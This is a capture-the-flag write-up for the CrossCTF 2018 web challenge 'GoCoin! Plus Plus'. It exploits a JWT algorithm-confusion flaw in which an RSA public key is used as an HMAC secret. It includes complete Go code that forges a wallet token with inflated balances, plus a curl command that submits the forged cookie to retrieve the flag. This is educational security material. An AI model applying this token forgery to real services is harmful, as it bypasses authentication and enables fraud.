CrossCTF_2018: Gocoin! Plus Plus

Category: Web Points: 312 Description:

I thought blockchain was cool, so I made my own coin. GoCoin! Plus Plus is the forked and improved version of GoCoin! Plus. Update: I've improved it! More secures and with real cryptos, it's a true cryptocoin now! Update: Stupid me wrote a broken challenge, now its really fixed! http://ctf.pwn.sg:1389 Creator - quanyang (@quanyang)

Write-up

This challenge was intentionally broken from the start, where RSA was used to encrypt the wallet string but the bytestream of the public key is used instead for verification.

As such, we can compile a solution like the one below,

package main

import (
    "errors"
    "fmt"
    "github.com/dgrijalva/jwt-go"
    "io/ioutil"
    "strings"
    "math/rand"
)

var (
    publicKey, _ = ioutil.ReadFile("./pub.key")
    ErrKeyMustBePEMEncoded = errors.New("Invalid Key: Key must be PEM encoded PKCS1 or PKCS8 private key")
    ErrNotRSAPrivateKey    = errors.New("Key is not a valid RSA private key")
    ErrNotRSAPublicKey     = errors.New("Key is not a valid RSA public key")
)

func main() {
    walletString, err := GenerateNewWallet()
    if err != nil {
        fmt.Printf("C %s\n", err)
    } else {
        fmt.Printf("%s\n", walletString)
    }

    wallet, bank, err := ParseWallet(walletString, publicKey)
    if err != nil {
        fmt.Printf("D %s\n", err)
    } else {
        fmt.Printf("%f - %f\n", wallet, bank)
    }
}

func Wallet(wallet float64, bank float64, rawKey []byte) (string, error) {
    token := jwt.New(jwt.GetSigningMethod("HS256"))
    claims := make(jwt.MapClaims)
    claims["wallet"] = wallet
    claims["bank"] = bank
    claims["rand"] = rand.Uint64()
    token.Claims = claims

    signingString, err := token.SigningString()
    if err != nil {
        fmt.Printf("A %s\n", err)
    }

    signed, err := jwt.SigningMethodHS256.Sign(signingString, rawKey)
    if err != nil {
        fmt.Printf("B %s\n", err)
    }

    s := []string{signingString, ".", signed};
    final := strings.Join(s, "")

    return final, err
}

func ParseWallet(myToken string, myKey []byte) (float64, float64, error) {
    token, err := jwt.Parse(myToken, func(token *jwt.Token) (interface{}, error) {
        if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
            key, err := jwt.ParseRSAPublicKeyFromPEM(myKey)
            return key, err
        }
        return myKey, nil
    })
    if err == nil && token.Valid {
        claims := token.Claims.(jwt.MapClaims)
        wallet, ok := claims["wallet"].(float64)
        if !ok {
            return 0, 0, err
        }
        bank, ok := claims["bank"].(float64)
        if !ok {
            return 0, 0, err
        }
        return wallet, bank, err
    } else {
        return 0, 0, err
    }
}

func GenerateNewWallet() (string, error) {
    walletString, err := Wallet(10000, 10000, publicKey)
    return walletString, err
}

Running it gives us the cookie to replace,

root@6300e9791ef8:/downloads# go run solve.go
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJiYW5rIjoxMDAwMCwicmFuZCI6NTU3NzAwNjc5MTk0Nzc3OTQxMCwid2FsbGV0IjoxMDAwMH0.0MZeLTC3_7SRG3ZTu0WxIZrXPJ-Q0num64ls1GeTRBA
10000.000000 - 10000.000000

Now we can get our flag,

root@6300e9791ef8:/downloads# curl --cookie 'wallet_2=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJiYW5rIjoxMDAwMCwicmFuZCI6NTU3NzAwNjc5MTk0Nzc3OTQxMCwid2FsbGV0IjoxMDAwMH0.0MZeLTC3_7SRG3ZTu0WxIZrXPJ-Q0num64ls1GeTRBA' 'http://ctf.pwn.sg:1389/flag' -v
[..]
                            <h1 class="text-white">GoCash! Plus</h1>
                            <p class="text-white h5"><br/>
                                You bought a flag!<br/>
                                <br/>
                                CrossCTF{SORRY_I_AM_STUP!D!1!!1}
[...]

Therefore, the flag is CrossCTF{SORRY_I_AM_STUP!D!1!!1}.

results matching ""

    No results matching ""